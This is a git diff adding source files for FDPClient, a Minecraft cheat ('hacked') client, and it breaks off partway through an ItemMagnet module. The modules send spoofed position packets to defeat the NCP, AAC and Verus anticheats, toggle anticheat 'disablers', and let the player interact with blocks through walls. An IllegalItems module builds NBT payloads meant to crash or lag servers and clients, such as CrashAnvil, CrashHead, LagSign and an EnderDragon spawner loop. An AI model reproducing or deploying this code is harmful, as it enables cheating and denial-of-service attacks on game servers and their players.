-0,0 +1,108 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.minecraft.network.play.server.S19PacketEntityStatus + +@ModuleInfo(name = "Damage", category = ModuleCategory.EXPLOIT, canEnable = false) +object Damage : Module() { + + private val modeValue = ListValue("Mode", arrayOf("Fake","NCP","AAC","Verus"), "NCP") + private val verusModeValue = ListValue("VerusMode", arrayOf("Damage1","Damage2","Damage3","Damage4","CustomDamage"), "Damage1").displayable {modeValue.equals("Verus")} + private val ncpModeValue = ListValue("NCPMode", arrayOf("Glitch","JumpPacket"), "Glitch").displayable {modeValue.equals("NCP")} + private val packet1Value = FloatValue("CustomDamage-Packet1Clip", 4f,0f,5f).displayable { modeValue.equals("Verus") && verusModeValue.equals("CustomDamage") } + private val packet2Value = FloatValue("CustomDamage-Packet2Clip", -0.2f,-1f,5f).displayable { modeValue.equals("Verus") && verusModeValue.equals("CustomDamage") } + private val packet3Value = FloatValue("CustomDamage-Packet3Clip", 0.5f,0f,5f).displayable { modeValue.equals("Verus") && verusModeValue.equals("CustomDamage") } + private val damageValue = IntegerValue("Damage", 1, 1, 20) + private val onlyGroundValue = BoolValue("OnlyGround",true) + private val jumpYPosArr = arrayOf(0.41999998688698, 0.7531999805212, 1.00133597911214, 1.16610926093821, 1.24918707874468, 1.24918707874468, 1.1707870772188, 1.0155550727022, 0.78502770378924, 0.4807108763317, 0.10408037809304, 0.0) + + override fun onEnable() { + if (onlyGroundValue.get() && !mc.thePlayer.onGround) { + return + } + + when (modeValue.get().lowercase()) { + "fake" -> { + val event = PacketEvent(S19PacketEntityStatus(mc.thePlayer, 2.toByte()), PacketEvent.Type.RECEIVE) + FDPClient.eventManager.callEvent(event) + if (!event.isCancelled) { + mc.thePlayer.handleStatusUpdate(2.toByte()) + } + } + + "ncp" -> { + when (ncpModeValue.get().lowercase()) { + "glitch" -> { + val x = mc.thePlayer.posX + val y = mc.thePlayer.posY + val z = mc.thePlayer.posZ + + repeat((55 + damageValue.get() * 10.204).toInt()) { + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(x, y + 0.049, z, false)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(x, y, z, false)) + } + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(x, y, z, true)) + } + "jumppacket" -> { + var x = mc.thePlayer.posX + var y = mc.thePlayer.posY + var z = mc.thePlayer.posZ + repeat(4) { + jumpYPosArr.forEach { + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(x, y + it, z, false)) + } + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(x, y, z, false)) + } + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(x, y, z, true)) + } + } + } + "aac" -> mc.thePlayer.motionY = 4 + damageValue.get().toDouble() + "verus" -> { + when (verusModeValue.get().lowercase()) { + "damage1" -> { + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 3.05, mc.thePlayer.posZ, false)) + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.41999998688697815, mc.thePlayer.posZ, true)) + } + "damage2" -> { + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 3.35, mc.thePlayer.posZ, false)) + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + } + "damage3" -> { + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 4, mc.thePlayer.posZ, false)) + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + } + "damage4" -> { + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 3.42, mc.thePlayer.posZ, false)) + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + } + "customdamage" -> { + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + packet1Value.get().toDouble(), mc.thePlayer.posZ, false)) + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + packet2Value.get().toDouble(), mc.thePlayer.posZ, false)) + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + packet3Value.get().toDouble(), mc.thePlayer.posZ, true)) + } + } + } + } + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Disabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Disabler.kt new file mode 100644 index 0000000..ed3271a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Disabler.kt @@ -0,0 +1,159 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit + +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.Value +import net.ccbluex.liquidbounce.utils.ClassUtils +import java.util.LinkedList + +@ModuleInfo(name = "Disabler", category = ModuleCategory.EXPLOIT) +object Disabler : Module() { + + private val debugValue = BoolValue("Debug", false) + private val mode = LinkedList<BoolValue>() + private val mode2 = LinkedList<DisablerMode>() + private val settings = arrayListOf<Value<*>>(debugValue) + + private val modeList = ClassUtils.resolvePackage("${this.javaClass.`package`.name}.disablers", DisablerMode::class.java) + .map { it.newInstance() as DisablerMode } + .sortedBy { it.modeName } + .forEach { + val modulesMode = object : BoolValue(it.modeName, false) { + override fun onChange(oldValue: Boolean, newValue: Boolean) { + if (state) { + if (newValue && !oldValue) { + it.onEnable() + } else if (!newValue && oldValue) { + it.onDisable() + } + } + } + } + settings.add(modulesMode) + mode.add(modulesMode) + mode2.add(it) + } + + + + private val modes = ClassUtils.resolvePackage("${this.javaClass.`package`.name}.disablers", DisablerMode::class.java) + .map { it.newInstance() as DisablerMode } + .sortedBy { it.modeName } + + + + override fun onEnable() { + modes.forEach { + if(getValue(it.modeName)?.value == true) { + it.onEnable() + } + } + } + + override fun onDisable() { + modes.forEach { + if(getValue(it.modeName)?.value == true) { + it.onDisable() + } + } + mc.timer.timerSpeed = 1F + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + modes.forEach { + if(getValue(it.modeName)?.value == true) { + it.onUpdate(event) + } + } + } + + @EventTarget + fun onMotion(event: MotionEvent) { + modes.forEach { + if(getValue(it.modeName)?.value == true) { + it.onMotion(event) + } + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + modes.forEach { + if(getValue(it.modeName)?.value == true) { + it.onPacket(event) + } + } + } + + @EventTarget + fun onMove(event: MoveEvent) { + modes.forEach { + if(getValue(it.modeName)?.value == true) { + it.onMove(event) + } + } + } + + @EventTarget + fun onBlockBB(event: BlockBBEvent) { + modes.forEach { + if(getValue(it.modeName)?.value == true) { + it.onBlockBB(event) + } + } + } + + @EventTarget + fun onJump(event: JumpEvent) { + modes.forEach { + if(getValue(it.modeName)?.value == true) { + it.onJump(event) + } + } + } + + @EventTarget + fun onStep(event: StepEvent) { + modes.forEach { + if(getValue(it.modeName)?.value == true) { + it.onStep(event) + } + } + } + + @EventTarget + fun onWorld(event: WorldEvent) { + modes.forEach { + if(getValue(it.modeName)?.value == true) { + it.onWorld(event) + } + } + } + + fun debugMessage(str: String) { + if (debugValue.get()) { + alert("§7[§c§lDisabler§7] §b$str") + } + } + + private val modeValue: List<Value<*>> get() = settings + + override val values = modeValue.toMutableList().also { + modes.map { mode -> + mode.values.forEach { value -> + it.add(value.displayable { getValue(mode.modeName)?.value == true }) + } + } + } +} + diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/GhostBlock.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/GhostBlock.kt new file mode 100644 index 0000000..77b5596 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/GhostBlock.kt @@ -0,0 +1,58 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.network.Packet +import net.minecraft.network.play.server.S23PacketBlockChange +import net.minecraft.network.play.INetHandlerPlayClient +import java.util.concurrent.LinkedBlockingQueue + +@ModuleInfo(name = "GhostBlock", category = ModuleCategory.EXPLOIT) +object GhostBlock : Module() { + + private val delay = IntegerValue("GhostblockDuration", 1000, 0, 3000) + + private val packets = LinkedBlockingQueue<Packet<INetHandlerPlayClient>>() + private val times = ArrayList<Long>() + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is S23PacketBlockChange) { + event.cancelEvent() + times.add(System.currentTimeMillis()) + packets.add(packet as Packet<INetHandlerPlayClient>) + } + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + while (times.first() < System.currentTimeMillis() - delay.get().toLong()) { + PacketUtils.handlePacket(packets.take() as Packet<INetHandlerPlayClient?>) + times.remove(times.first()) + } + } + + override fun onEnable() { + packets.clear() + times.clear() + } + + override fun onDisable() { + while (!packets.isEmpty()) { + PacketUtils.handlePacket(packets.take() as Packet<INetHandlerPlayClient?>) + } + times.clear() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/GhostInteract.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/GhostInteract.kt new file mode 100644 index 0000000..5dff88c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/GhostInteract.kt @@ -0,0 +1,70 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.block.BlockUtils.getBlock +import net.ccbluex.liquidbounce.utils.extensions.getVec +import net.ccbluex.liquidbounce.features.value.BlockValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.block.Block +import net.minecraft.util.BlockPos +import net.minecraft.util.EnumFacing + +@ModuleInfo(name = "GhostInteract", category = ModuleCategory.EXPLOIT) +object GhostInteract : Module() { + + private val blockValue = BlockValue("Block", 54) + private val radiusValue = IntegerValue("Radius", 4, 2, 7) + + private var click = false + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (!click && mc.gameSettings.keyBindUseItem.isKeyDown) { + Thread({ + val radius = radiusValue.get() + val selectedBlock = Block.getBlockById(blockValue.get()) + var diff = 114514F + var targetBlock: BlockPos? = null + + for (x in -radius until radius) { + for (y in radius downTo -radius + 1) { + for (z in -radius until radius) { + val xPos: Int = mc.thePlayer.posX.toInt() + x + val yPos: Int = mc.thePlayer.posY.toInt() + y + val zPos: Int = mc.thePlayer.posZ.toInt() + z + val blockPos = BlockPos(xPos, yPos, zPos) + val block = getBlock(blockPos) + if (block === selectedBlock) { + // ok + val dist = mc.thePlayer.getDistanceSqToCenter(blockPos).toFloat() + if (dist <diff) { + diff = dist + targetBlock = blockPos + } + } + } + } + } + + if (targetBlock != null) { + if (mc.playerController.onPlayerRightClick(mc.thePlayer, mc.theWorld, mc.thePlayer.heldItem, + targetBlock, EnumFacing.DOWN, targetBlock.getVec())) { + mc.thePlayer.swingItem() + } + } + }, "GhostHand").start() + click = true + } else if (!mc.gameSettings.keyBindUseItem.isKeyDown) { + click = false + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/IllegalItems.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/IllegalItems.kt new file mode 100644 index 0000000..18ee94e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/IllegalItems.kt @@ -0,0 +1,321 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.item.ilegalItems +import net.minecraft.client.gui.inventory.GuiInventory +import net.minecraft.init.Blocks +import net.minecraft.init.Items +import net.minecraft.item.ItemStack +import net.minecraft.nbt.NBTTagCompound +import net.minecraft.nbt.NBTTagList +import net.minecraft.network.play.client.C0DPacketCloseWindow +import net.minecraft.network.play.client.C16PacketClientStatus + +@ModuleInfo(name = "IllegalItems", category = ModuleCategory.EXPLOIT) +object IllegalItems : Module() { + + private val mode = ListValue("Mode", arrayOf("InInventory", "Throw"), "InInventory") + private val inventorySpoof = BoolValue("InventorySpoof", false) + private val stackSize = IntegerValue("StackSize", 1, 1, 64) + private val addUnbreakableNBT = BoolValue("AddUnbreakableNBT", true) + private val addLootingNBT = BoolValue("AddLootingNBT", false) + private val addThornsNBT = BoolValue("AddThornsNBT", false) + private val toolEnchantment = ListValue("ToolEnchantment", arrayOf("Off", "SilkTouch", "Fortune"), "Off") + private val item = ListValue("Item", arrayOf( + "32KSword", + "32KBow", + "32KShovel", + "32KPickaxe", + "32KAxe", + "32KHelmet", + "32KChestplate", + "32KLeggings", + "32KBoots", + "TrollPotion", + "KillPotion", + "CrashAnvil", + "CrashHead", + "CrashSpawner", + "CrashStand", + "LagSign", + "lagTag", + "SpawnEgg1", + "SpawnEgg2", + "SpawnEgg3", + "InfinityFirework", + "EnderDragon-Loop", + "CommandBlock", + "CommandBlockMinecart", + "Barrier", + "DragonEgg", + "BrownMushroomBlock", + "RedMushroomBlock", + "Farmland", + "MobSpawner", + "LitFurnace" + ), "32KSword") + private fun getEmptySlot(): Int? { + for (i in 36 .. 44) { + if (mc.thePlayer?.inventoryContainer?.getSlot(i)?.stack == null) + return i + } + for (i in 9..35) { + if (mc.thePlayer?.inventoryContainer?.getSlot(i)?.stack == null) + return i + } + return null + } + private fun add32K(id: Int, nbtTagList: NBTTagList) { + val enchantment = NBTTagCompound() + enchantment.setShort("id", id.toShort()) + enchantment.setShort("lvl", Short.MAX_VALUE) + nbtTagList.appendTag(enchantment) + } + private fun addUnbreakable(itemStack: ItemStack) { + if (!addUnbreakableNBT.get()) + return + if (itemStack.tagCompound == null) + itemStack.tagCompound = NBTTagCompound() + itemStack.tagCompound.setBoolean("Unbreakable", true) + } + override fun onEnable() { + if (mc.theWorld == null || mc.thePlayer == null) { + this.state = false + return + } + if (mc.playerController.isNotCreative) { + + this.state = false + return + } + val itemStack = when(item.get()) { + //Exploits + "32KSword" -> { + val sword = ItemStack(Items.diamond_sword) + val swordNBTs = NBTTagList() + for (id in if (!addLootingNBT.get()) arrayOf(16, 19, 20, 34) else arrayOf(16, 19, 20, 21, 34)) + add32K(id, swordNBTs) + sword.setTagInfo("ench", swordNBTs) + addUnbreakable(sword) + sword + } + "32KBow" -> { + val bow = ItemStack(Items.bow) + val bowNBTs = NBTTagList() + for (id in arrayOf(48, 49, 50, 34)) + add32K(id, bowNBTs) + val enchantment = NBTTagCompound() + enchantment.setShort("id", 51) + enchantment.setShort("lvl", 1) + bowNBTs.appendTag(enchantment) + bow.setTagInfo("ench", bowNBTs) + addUnbreakable(bow) + bow + } + "32KShovel" -> { + val shovel = ItemStack(Items.diamond_shovel) + val shovelNBTs = NBTTagList() + val list = when (toolEnchantment.get()) { + "SilkTouch" -> arrayOf(34, 32, 33) + "Fortune" -> arrayOf(34, 32, 35) + else -> arrayOf(34, 32) + } + for (id in list) + add32K(id, shovelNBTs) + shovel.setTagInfo("ench", shovelNBTs) + addUnbreakable(shovel) + shovel + } + "32KPickaxe" -> { + val pickaxe = ItemStack(Items.diamond_pickaxe) + val pickaxeNBTs = NBTTagList() + val list = when (toolEnchantment.get()) { + "SilkTouch" -> arrayOf(34, 32, 33) + "Fortune" -> arrayOf(34, 32, 35) + else -> arrayOf(34, 32) + } + for (id in list) + add32K(id, pickaxeNBTs) + pickaxe.setTagInfo("ench", pickaxeNBTs) + addUnbreakable(pickaxe) + pickaxe + } + "32KAxe" -> { + val axe = ItemStack(Items.diamond_axe) + val axeNBTs = NBTTagList() + val list = when (toolEnchantment.get()) { + "SilkTouch" -> arrayOf(34, 32, 33) + "Fortune" -> arrayOf(34, 32, 35) + else -> arrayOf(34, 32) + } + for (id in list) + add32K(id, axeNBTs) + axe.setTagInfo("ench", axeNBTs) + addUnbreakable(axe) + axe + } + "32KHelmet" -> { + val helmet = ItemStack(Items.diamond_helmet) + val helmetNBTs = NBTTagList() + val list = + if (addThornsNBT.get()) + arrayOf(34, 0, 5, 6, 7) + else + arrayOf(34, 0, 5, 6) + for (id in list) + add32K(id, helmetNBTs) + helmet.setTagInfo("ench", helmetNBTs) + addUnbreakable(helmet) + helmet + } + "32KChestplate" -> { + val chestPlate = ItemStack(Items.diamond_chestplate) + val chestPlateNBTs = NBTTagList() + val list = + if (addThornsNBT.get()) + arrayOf(34, 0, 7) + else + arrayOf(34, 0) + for (id in list) + add32K(id, chestPlateNBTs) + chestPlate.setTagInfo("ench", chestPlateNBTs) + addUnbreakable(chestPlate) + chestPlate + } + "32KLeggings" -> { + val leggings = ItemStack(Items.diamond_leggings) + val leggingsNBTs = NBTTagList() + val list = + if (addThornsNBT.get()) + arrayOf(34, 0, 7) + else + arrayOf(34, 0) + for (id in list) + add32K(id, leggingsNBTs) + leggings.setTagInfo("ench", leggingsNBTs) + addUnbreakable(leggings) + leggings + } + "32KBoots" -> { + val boots = ItemStack(Items.diamond_boots) + val bootsNBTs = NBTTagList() + val list = + if (addThornsNBT.get()) + arrayOf(34, 0, 2, 7) + else + arrayOf(34, 0, 2) + for (id in list) + add32K(id, bootsNBTs) + boots.setTagInfo("ench", bootsNBTs) + addUnbreakable(boots) + boots + } + "TrollPotion" -> { + val trollPotion = ItemStack(Items.potionitem) + + trollPotion.itemDamage = 16395 + + val trollPotionEffects = NBTTagList() + for (i in 1..27) { + val effect = NBTTagCompound() + effect.setInteger("Amplifier", Integer.MAX_VALUE) + effect.setInteger("Duration", Integer.MAX_VALUE) + effect.setInteger("Id", i) + trollPotionEffects.appendTag(effect) + } + trollPotion.setTagInfo("CustomPotionEffects", trollPotionEffects) + trollPotion.setStackDisplayName("§c§lTroll§6§lPotion") + trollPotion + } + "KillPotion" -> { + val killPotion = ItemStack(Items.potionitem) + killPotion.itemDamage = 16395 + val effect = NBTTagCompound() + effect.setInteger("Amplifier", 125) + effect.setInteger("Duration", 1) + effect.setInteger("Id", 6) + val effects = NBTTagList() + effects.appendTag(effect) + killPotion.setTagInfo("CustomPotionEffects", effects) + killPotion.setStackDisplayName("§c§lKill§6§lPotion") + killPotion + } + "CrashAnvil" -> { + val crashAnvil = ItemStack(Blocks.anvil) + crashAnvil.setStackDisplayName("§8Crash§c§lAnvil §7| §cmc1.8-mc1.8") + crashAnvil.itemDamage = 16384 + crashAnvil + } + "CrashHead" -> { + val crashHead = ItemStack(Items.skull) + val compound = NBTTagCompound() + compound.setString("SkullOwner", " ") + crashHead.tagCompound = compound + crashHead.setStackDisplayName("§8Crash§6§lHead §7| §cmc1.8-mc1.10") + crashHead + } + "CrashSpawner" -> ilegalItems.createItem("mob_spawner 1 0 {BlockEntityTag:{EntityId:\"Painting\"}}").setStackDisplayName("§8Crash§c§lSpawner §7| §cmc1.8-mc1.8") + "CrashStand" -> ilegalItems.createItem("armor_stand 1 0 {EntityTag:{Equipment:[{},{},{},{},{id:\"skull\",Count:1b,Damage:3b,tag:{SkullOwner:\"Test\"}}]}}").setStackDisplayName("§8Crash§2§lStand §7| §cmc1.10") + "LagSign" -> { + val lagStringBuilder = StringBuilder() + for (i in 0..499) + lagStringBuilder.append("/(!§()%/§)=/(!§()%/§)=/(!§()%/§)=") + ilegalItems.createItem("sign 1 0 {BlockEntityTag:{Text1:\"{\\\"text\\\":\\\"$lagStringBuilder\\\"}\",Text2:\"{\\\"text\\\":\\\"$lagStringBuilder\\\"}\",Text3:\"{\\\"text\\\":\\\"$lagStringBuilder\\\"}\",Text4:\"{\\\"text\\\":\\\"$lagStringBuilder\\\"}\"}}").setStackDisplayName("§8Lag§2§lSign §7| §cmc1.8") + } + "lagTag" -> { + val lagStringBuilder = StringBuilder() + for (i in 0..499) + lagStringBuilder.append("/(!§()%/§)=/(!§()%/§)=/(!§()%/§)=") + ilegalItems.createItem("name_tag 1 0 {display:{Name: \"$lagStringBuilder\"}}") + } + "SpawnEgg1" -> ilegalItems.createItem("spawn_egg 1 64") + "SpawnEgg2" -> ilegalItems.createItem("spawn_egg 1 63") + "SpawnEgg3" -> ilegalItems.createItem("spawn_egg 1 53") + "InfinityFirework" -> ilegalItems.createItem("fireworks 1 0 {HideFlags:63,Fireworks:{Flight:127b,Explosions:[0:{Type:0b,Trail:1b,Colors:[16777215,],Flicker:1b,FadeColors:[0,]}]}}").setStackDisplayName("§cInfinity §a§lFirework") + "EnderDragon-Loop" -> ilegalItems.createItem("chest 1 0 {BlockEntityTag:{Items:[0:{Slot:0b, id:\"minecraft:mob_spawner\",Count:64b,tag:{BlockEntityTag:{EntityId:\"FallingSand\",MaxNearbyEntities:1000,RequiredPlayerRange:100,SpawnCount:100,SpawnData:{Motion:[0:0.0d,1:0.0d,2:0.0d],Block:\"mob_spawner\",Time:1,Data:0,TileEntityData:{EntityId:\"FallingSand\",MaxNearbyEntities:1000,RequiredPlayerRange:100,SpawnCount:100,SpawnData:{Motion:[0:0.0d,1:0.0d,2:0.0d],Block:\"mob_spawner\",Time:1,Data:0,TileEntityData:{EntityId:\"EnderDragon\",MaxNearbyEntities:1000,RequiredPlayerRange:100,SpawnCount:100,MaxSpawnDelay:20,SpawnRange:100,MinSpawnDelay:20},DropItem:0},MaxSpawnDelay:20,SpawnRange:500,MinSpawnDelay:20},DropItem:0},MaxSpawnDelay:5,SpawnRange:500,Delay:20,MinSpawnDelay:5}},Damage:0s}],value:\"Chest\",Lock:\"\"}}")!!.setStackDisplayName("§c§lEnder§c§a§lDragon §bSpawner Chest") + //Blocks + "CommandBlock" -> ItemStack(Blocks.command_block) + "CommandBlockMinecart" -> ItemStack(Items.command_block_minecart) + "Barrier" -> ItemStack(Blocks.barrier) + "DragonEgg" -> ItemStack(Blocks.dragon_egg) + "BrownMushroomBlock" -> ItemStack(Blocks.brown_mushroom_block) + "RedMushroomBlock" -> ItemStack(Blocks.red_mushroom_block) + "Farmland" -> ItemStack(Blocks.farmland) + "MobSpawner" -> ItemStack(Blocks.mob_spawner) + "LitFurnace" -> ItemStack(Blocks.lit_furnace) + else -> ItemStack(Blocks.stone) + } + itemStack.stackSize = stackSize.get() + if (inventorySpoof.get() && mc.currentScreen !is GuiInventory) { + mc.netHandler.addToSendQueue(C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT)) + } + when(mode.get()) { + "InInventory" -> { + // find empty slot + val emptySlot = getEmptySlot() + if (emptySlot != null) { + mc.playerController.sendSlotPacket(itemStack, emptySlot) + alert("§aPacket sent.") + } else alert("§cError: No empty stack.") + } + "Throw" -> { + mc.playerController.sendPacketDropItem(itemStack) + alert("§aPacket sent.") + } + } + if (inventorySpoof.get() && mc.currentScreen !is GuiInventory) { + mc.netHandler.addToSendQueue(C0DPacketCloseWindow()) + } + this.state = false + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/InfiniteDurability.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/InfiniteDurability.kt new file mode 100644 index 0000000..296f86a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/InfiniteDurability.kt @@ -0,0 +1,38 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.InventoryUtils +import net.minecraft.network.play.client.C02PacketUseEntity +import net.minecraft.network.play.client.C03PacketPlayer + +@ModuleInfo(name = "InfiniteDurability", category = ModuleCategory.EXPLOIT) +object InfiniteDurability : Module() { + + private var attacked = false + + @EventTarget + fun onPacket(event: PacketEvent) { + if (event.packet is C02PacketUseEntity) { + InventoryUtils.swap(9, mc.thePlayer.inventory.currentItem) + InventoryUtils.swap(9, mc.thePlayer.inventory.currentItem) + attacked = true + } + + if (event.packet is C03PacketPlayer) { + if (attacked) { + InventoryUtils.swap(9, mc.thePlayer.inventory.currentItem) + InventoryUtils.swap(9, mc.thePlayer.inventory.currentItem) + attacked = false + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/ItemMagnet.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/ItemMagnet.kt new file mode 100644 index 0000000..64e6e60 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/ItemMagnet.kt @@ -0,0 +1,233 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.MovementUtils.forward +import net.ccbluex.liquidbounce.utils.block.BlockUtils.getBlock +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.block.Block +import net.minecraft.block.material.Material +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.BlockPos +import net.minecraft.util.MathHelper +import net.minecraft.util.MovingObjectPosition +import org.lwjgl.input.Mouse +import org.lwjgl.opengl.GL11 +import java.awt.Color +import java.util.* +import javax.vecmath.Vector3f +import kotlin.math.atan2 +import kotlin.math.cos +import kotlin.math.sin + +@ModuleInfo(name = "ItemMagnet", category = ModuleCategory.EXPLOIT) +class ItemMagnet : Module() { + private val modeValue = ListValue("Mode", arrayOf("New", "Old"), "New") + private val resetAfterTpValue = BoolValue("ResetAfterTP", true) + private val buttonValue = ListValue("Button", arrayOf("Left", "Right", "Middle"), "Middle") + + 